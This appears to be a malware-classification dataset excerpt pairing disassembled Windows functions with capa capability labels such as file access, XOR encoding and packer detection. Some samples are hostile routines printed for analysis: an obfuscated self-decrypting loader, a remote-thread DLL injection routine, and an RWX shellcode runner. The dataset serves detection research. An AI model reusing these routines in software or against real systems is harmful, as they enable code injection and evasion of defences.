joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e1d8c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
call fcn.004e2e4c
test byte [ebp + 0xd], 0xc0
jne 0x4e1db0
mov eax, dword [0x5c357c]
mov edx, dword [eax]
and edx, 0xc000
or dword [ebp + 0xc], edx
test byte [ebp + 0xd], 0x80
jne 0x4e1dbd
or dword [ebp + 0xc], 0x4000
mov ecx, dword [ebp + 0xc]
and ecx, 0x700
cmp ecx, 0x500
jg 0x4e1dea
je 0x4e1dfc
sub ecx, 0x100
je 0x4e1e0a
sub ecx, 0x100
je 0x4e1e11
sub ecx, 0x100
je 0x4e1e03
jmp 0x4e1e18
sub ecx, 0x600
je 0x4e1e11
sub ecx, 0x100
je 0x4e1dfc
jmp 0x4e1e18
mov edi, 1
jmp 0x4e1e1d
mov edi, 2
jmp 0x4e1e1d
mov edi, 4
jmp 0x4e1e1d
mov edi, 5
jmp 0x4e1e1d
mov edi, 3
test byte [ebp + 0xd], 1
je 0x4e1e44
lea eax, [ebp + 0x10]
add eax, 4
mov eax, dword [eax - 4]
and eax, dword [0x5c2ff4]
test al, 0x80
je 0x4e1e3d
mov ebx, 0x80
jmp 0x4e1e56
mov ebx, 1
jmp 0x4e1e56
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x4e1e56
xor ebx, ebx
mov eax, dword [ebp + 0xc]
and eax, 3
sub eax, 1
jb 0x4e1e68
je 0x4e1e71
dec eax
je 0x4e1e7a
jmp 0x4e1e83
mov dword [ebp - 4], CreateStatusWindowA
jmp 0x4e1e92
mov dword [ebp - 4], 0x40000000
jmp 0x4e1e92
mov dword [ebp - 4], 0xc0000000
jmp 0x4e1e92
push 1
call fcn.004e3264
pop ecx
mov ebx, eax
jmp 0x4e1f82
mov eax, dword [ebp + 0xc]
and eax, 0x70
sub eax, 0x10
je 0x4e1eae
sub eax, 0x10
je 0x4e1eb5
sub eax, 0x10
je 0x4e1ebe
sub eax, 0x10
je 0x4e1ec7
jmp 0x4e1ec7
xor edx, edx
mov dword [ebp - 8], edx
jmp 0x4e1ece
mov dword [ebp - 8], 1
jmp 0x4e1ece
mov dword [ebp - 8], 2
jmp 0x4e1ece
mov dword [ebp - 8], 3
mov dword [ebp - 0x14], 0xc
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x14]
mov eax, dword [ebp + 0xc]
and eax, 0x80
cmp eax, 1
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
push 0
push ebx
push edi
push ecx
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp eax, 0xffffffff
jne 0x4e1f3b
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
and ebx, 0xffff
cmp ebx, 0x6e
jne 0x4e1f30
test byte [ebp + 0xd], 1
je 0x4e1f2b
mov ebx, 0x50
jmp 0x4e1f30
mov ebx, 2
push ebx
call fcn.004e3264
pop ecx
mov ebx, eax
jmp 0x4e1f82
mov edi, esi
push edi
call fcn.004e1cf0
pop ecx
test eax, eax
je 0x4e1f4f
or dword [ebp + 0xc], 0x2000
test bl, 1
jne 0x4e1f5b
or dword [ebp + 0xc], 0x100
and dword [ebp + 0xc], 0xfffff8ff
mov eax, dword [ebp + 0xc]
push eax
push edi
call fcn.004e2f8c
add esp, 8
mov ebx, eax
inc eax
jne 0x4e1f82
push 4
call fcn.004e3264
pop ecx
push esi
call sub.KERNEL32.DLL_CloseHandle
call fcn.004e2e80
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4e23e8
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov al, byte [ebp + 8]
lea edx, [ebp - 3]
add al, 0x40
mov byte [ebp - 3], al
mov byte [ebp - 2], 0x3a
mov byte [ebp - 1], 0
push edx
call sub.KERNEL32.DLL_SetCurrentDirectoryA
dec eax
je 0x4e2410
call fcn.004e32d0
pop ecx
pop ebp
ret
xor eax, eax
pop ecx
pop ebp
ret
Function at 0x4e2c24
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x104
call fcn.00483098
pop ecx
mov ebx, eax
test eax, eax
jne 0x4e2c48
xor eax, eax
jmp 0x4e2cf8
lea edx, [ebp - 4]
push edx
push ebx
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call sub.KERNEL32.DLL_GetFullPathNameA
mov esi, eax
test esi, esi
je 0x4e2c69
cmp esi, 0x104
jb 0x4e2c77
push ebx
call fcn.004833dc
pop ecx
xor eax, eax
jmp 0x4e2cf8
cmp byte [ebx + 1], 0x3a
jne 0x4e2ca7
mov dl, byte [ebx]
lea ecx, [ebp - 8]
mov byte [ebp - 8], dl
mov byte [ebp - 7], 0x3a
mov byte [ebp - 6], 0x5c
mov byte [ebp - 5], 0
push ecx
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 2
jae 0x4e2ca7
push ebx
call fcn.004833dc
pop ecx
xor eax, eax
jmp 0x4e2cf8
inc esi
test edi, edi
je 0x4e2cee
cmp esi, dword [ebp + 0x10]
jbe 0x4e2cbe
push ebx
call fcn.004833dc
pop ecx
xor eax, eax
jmp 0x4e2cf8
push edi
mov esi, edi
xor eax, eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
push ebx
call fcn.004833dc
pop ecx
mov eax, edi
jmp 0x4e2cf8
push esi
push ebx
call fcn.004843f8
add esp, 8
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4e2d00
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x4e2d4b
lea eax, [ebp - 0x10c]
push eax
push 0x103
call sub.KERNEL32.DLL_GetCurrentDirectoryA
test eax, eax
je 0x4e2d34
cmp eax, dword [ebp + 0x10]
jle 0x4e2dd6
call fcn.004e7e90
mov dword [eax], 8
xor eax, eax
jmp 0x4e2e43
cmp dword [0x5ce7f8], 1
jne 0x4e2d92
mov eax, ebx
lea ecx, [ebp - 0x10c]
mov edx, eax
add dl, 0x40
add ecx, 3
mov byte [ebp - 0x10c], dl
mov dl, al
mov byte [ebp - 0x10b], 0x3a
mov byte [ebp - 0x10a], 0x5c
mov byte [ebp - 0x109], 0
mov ah, 0x47
mov esi, ecx
int 0x21
jae 0x4e2dd6
xor eax, eax
jmp 0x4e2e43
call sub.KERNEL32.DLL_GetLogicalDrives
lea ecx, [ebx - 1]
mov edx, 1
shl edx, cl
test edx, eax
je 0x4e2dd2
add bl, 0x40
lea eax, [ebp - 8]
mov byte [ebp - 4], bl
lea edx, [ebp - 0x10c]
mov byte [ebp - 3], 0x3a
mov byte [ebp - 2], 0x2e
mov byte [ebp - 1], 0
push eax
push edx
lea ecx, [ebp - 4]
push 0x103
push ecx
call sub.KERNEL32.DLL_GetFullPathNameA
jmp 0x4e2dd6
xor eax, eax
jmp 0x4e2e43
lea edx, [ebp - 0x10c]
push edx
call fcn.004e09d0
pop ecx
cmp eax, dword [ebp + 0x10]
jl 0x4e2df7
call fcn.004e7e90
mov dword [eax], 0x22
xor eax, eax
jmp 0x4e2e43
test edi, edi
jne 0x4e2e1a
mov edx, dword [ebp + 0x10]
push edx
call fcn.00483098
pop ecx
mov edi, eax
test eax, eax
jne 0x4e2e1a
call fcn.004e7e90
mov dword [eax], 8
xor eax, eax
jmp 0x4e2e43
push edi
mov esi, edi
xor eax, eax
lea edi, [ebp - 0x10c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4e7e24
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
jne 0x4e7e51
jmp 0x4e7e88
call fcn.004e7dd4
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.004e09d0
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.004e09d0
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4e7f08
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x5c4774], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x4e7fe2
cmp dword [0x5c4770], 0
jne 0x4e7fe2
cmp dword [0x5c49d0], 0
je 0x4e7f9c
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.004e7cd4
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4e7f82
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.004e7cd4
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4e7f82
lea ebx, [ebp - 0x84]
jmp 0x4e7f83
inc ebx
call fcn.004e7ec4
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x4e801d
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x5c4778
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.004e09d0
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x5c477b
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x4e801d
cmp dword [0x5c4770], 0
je 0x4e7ffc
cmp dword [0x5c4770], 0xffffffff
je 0x4e801d
push esi
call dword [0x5c4770]
pop ecx
mov eax, dword [0x5c4774]
test eax, eax
je 0x4e801d
cmp dword [0x5c4774], 0xffffffff
je 0x4e801d
cmp byte [eax], 0
je 0x4e801d
push esi
push eax
call fcn.004e7e24
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e9300
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x5ce810], 0
jne 0x4e9381
cmp dword [0x5ce830], 0
jne 0x4e9330
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x5ce830], eax
test eax, eax
jne 0x4e9330
push str.GetEnvironmentStrings_failed
call fcn.004e8034
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x5ce830]
jmp 0x4e9344
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004e09d0
pop ecx
mov edi, eax
test eax, eax
jne 0x4e933c
lea edi, [ebp + 1]
push edi
call fcn.00483098
pop ecx
mov ebx, eax
mov dword [0x5ce814], ebx
test ebx, ebx
jne 0x4e936e
xor eax, eax
jmp 0x4e9444
push edi
mov edx, dword [0x5ce830]
push edx
push ebx
call fcn.004e0828
add esp, 0xc
jmp 0x4e93a1
xor esi, esi
mov ebx, dword [0x5ce810]
jmp 0x4e939b
push eax
call fcn.004e09d0
pop ecx
test eax, eax
jne 0x4e9397
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x4e938b
lea ebx, [esi + 4]
push 4
mov dword [0x5ce818], ebx
inc ebx
push ebx
call fcn.00483ba4
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x4e93c4
xor eax, eax
jmp 0x4e9444
cmp dword [0x5ce810], 0
jne 0x4e93f5
xor esi, esi
mov ebx, dword [0x5ce814]
mov eax, dword [esp]
mov ebp, eax
jmp 0x4e93e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004e09d0
pop ecx
mov edi, eax
test eax, eax
jne 0x4e93dc
jmp 0x4e9426
xor esi, esi
mov ebx, dword [0x5ce810]
mov eax, dword [esp]
mov edi, eax
jmp 0x4e9420
push eax
call fcn.004e09d0
pop ecx
test eax, eax
je 0x4e9415
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x4e9419
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x4e9404
mov eax, dword [0x5ce810]
test eax, eax
je 0x4e9436
push eax
call fcn.004833dc
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x5ce810], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x2580434e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x2580435d
pop dword [ebp - 0x4c]
mov eax, 0x6cfaecf2
sub eax, 0x477aa995
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xb1bfd7d0
add dword [ebp - 0x5c], 0x9c926d7b
mov dword [ebp - 0x58], 0x912691ec
sub dword [ebp - 0x58], 0x5ef345a7
mov dword [ebp - 0x54], 0x71391e93
sub dword [ebp - 0x54], 0x24ecda65
mov dword [ebp - 0x50], 0x33963e28
sub dword [ebp - 0x50], 0x33963e28
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x6709b1c4
sub eax, 0x4187e180
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xd0bea91c
add dword [ebp - 0x5c], 0xa3b3c03a
mov dword [ebp - 0x58], 0x78bbcfe7
add dword [ebp - 0x58], 0xc8b0918e
mov dword [ebp - 0x54], 0x5139f6f8
sub dword [ebp - 0x54], 0xedca8a8c
mov dword [ebp - 0x50], 0x191fec55
add dword [ebp - 0x50], 0xe6e013ab
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x63adbbe1
add eax, 0xc1d4149f
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3e8ac
push 0
call eax
mov ecx, 0x48041980
sub ecx, 0x4803c9b8
xor edx, edx
add edx, eax
mov ebx, 0xf4523fea
sub ebx, 0xcecfa9ea
add ebx, dword [ebp - 0x4c]
mov esi, 0x759c8463
add esi, 0xc9f5cc54
xor dword [ebp - 0x20], 0x6ed0b322
mov edi, dword [ebx]
sub dword [ebp - 0x24], ecx
sub edi, esi
xor dword [ebp - 0x24], eax
mov dword [edx], edi
mov dword [ebp - 0x14], 0x8ed4f2db
add edx, 4
add ebx, 0x581a8158
add ebx, 0xa7e57eac
loop 0x25804481
add eax, 0x6db7ce73
add eax, 0x92496380
mov ebx, eax
add eax, 0xedb13ecc
add eax, 0x124ec139
mov ecx, 0x44fb9075
sub ecx, 0x1f7b9075
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x25807297
Capabilities:
Print debug messages

Disassembly:
push 0x1c
mov eax, 0x2581bb95
call fcn.2581acc1
mov eax, dword fs:[0x2c]
xor ebx, ebx
mov ecx, dword [0x25824498]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x25823cc0]
cmp eax, dword [ecx + 4]
jg 0x25807364
cmp byte [0x25823cbc], 0
je 0x2580735e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
call fcn.2580434e
push 1
lea esi, [eax + 6]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov edi, eax
add esp, 0x14
test edi, edi
je 0x2580735e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
push esi
push edi
call fcn.2580434e
add esp, 0x14
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
push str._nEFS:TMS:
call fcn.2580cd40
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 1
call fcn.2580cca0
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 0x10
jb 0x2580735e
inc eax
push eax
push dword [ebp - 0x28]
call fcn.2580434e
pop ecx
pop ecx
call fcn.2581acb0
ret
mov edi, 0x25823cc0
push edi
call fcn.2580434e
cmp dword [0x25823cc0], 0xffffffff
pop ecx
jne 0x258072c5
mov eax, dword [0x25823df0]
mov dword [ebp - 4], ebx
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2581d220]
call esi
test al, al
je 0x258073c2
mov eax, dword [0x258240cc]
push ebx
push str.enableTMSLogging
push 0x2581db80
mov esi, dword [eax + 0x5a8]
mov ecx, esi
call dword [0x2581d220]
call esi
add esp, 0xc
test ax, ax
mov al, 1
jne 0x258073c6
jmp 0x258073c2
mov al, bl
jmp 0x258073c6
or dword [ebp - 4], 0xffffffff
push edi
mov byte [0x25823cbc], al
call fcn.2580434e
pop ecx
jmp 0x258072c5
Function at 0x2580bbb6
Capabilities:
Query remote server for available data

Disassembly:
push 0x18
push 0x258207c0
call fcn.2581ad00
and dword [ebp - 0x20], 0
and dword [ebp - 4], 0
push 0
push 0
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x134]
add eax, 0x28
push eax
push dword [ecx + 0x130]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov dword [ebp - 0x20], eax
xor edi, edi
inc edi
mov ebx, edi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], 0xfffffffe
jmp 0x2580bcb6
test ebx, ebx
jne 0x2580bcde
xor eax, eax
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x25823e2c]
mov esi, dword [eax + 0x1218]
mov ecx, esi
call dword [0x2581d220]
call esi
pop ecx
test ebx, ebx
je 0x2580bce4
cmp dword [ebp - 0x20], 0
jne 0x2580bce6
xor edi, edi
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x2580c1db
Capabilities:
Check internet connectivity via wininet

Disassembly:
push 0x1c
push 0x258208e8
call fcn.2581ad00
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov dword [ebp - 0x20], eax
xor edi, edi
inc edi
mov ebx, edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], 0xfffffffe
jmp 0x2580c2cc
test ebx, ebx
jne 0x2580c2f4
xor eax, eax
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x25823e2c]
mov esi, dword [eax + 0x1218]
mov ecx, esi
call dword [0x2581d220]
call esi
pop ecx
test ebx, ebx
je 0x2580c303
cmp dword [ebp - 0x20], 0
je 0x2580c303
test byte [ebp - 0x24], 0x20
jne 0x2580c303
push 2
pop edi
mov ax, di
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x10001000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x78]
add ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
add eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x20]
add edx, dword [ebp + 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
add ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
jmp 0x1000105a
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [eax + 0x18]
jae 0x10001098
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax + edx*2]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + edx*4]
add ecx, dword [ebp + 8]
cmp ecx, dword [ebp + 0xc]
jne 0x1000108d
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
add eax, dword [ebp + 8]
jmp 0x1000109a
mov eax, dword [ebp - 0x10]
add eax, 4
mov dword [ebp - 0x10], eax
jmp 0x10001051
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x6e4812f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6e481325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6e481325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6e48132c
mov eax, 1
jmp 0x6e481331
mov eax, 0
leave
ret
Function at 0x6e481735
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6e481868
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6e4818d6
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6e481a11
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret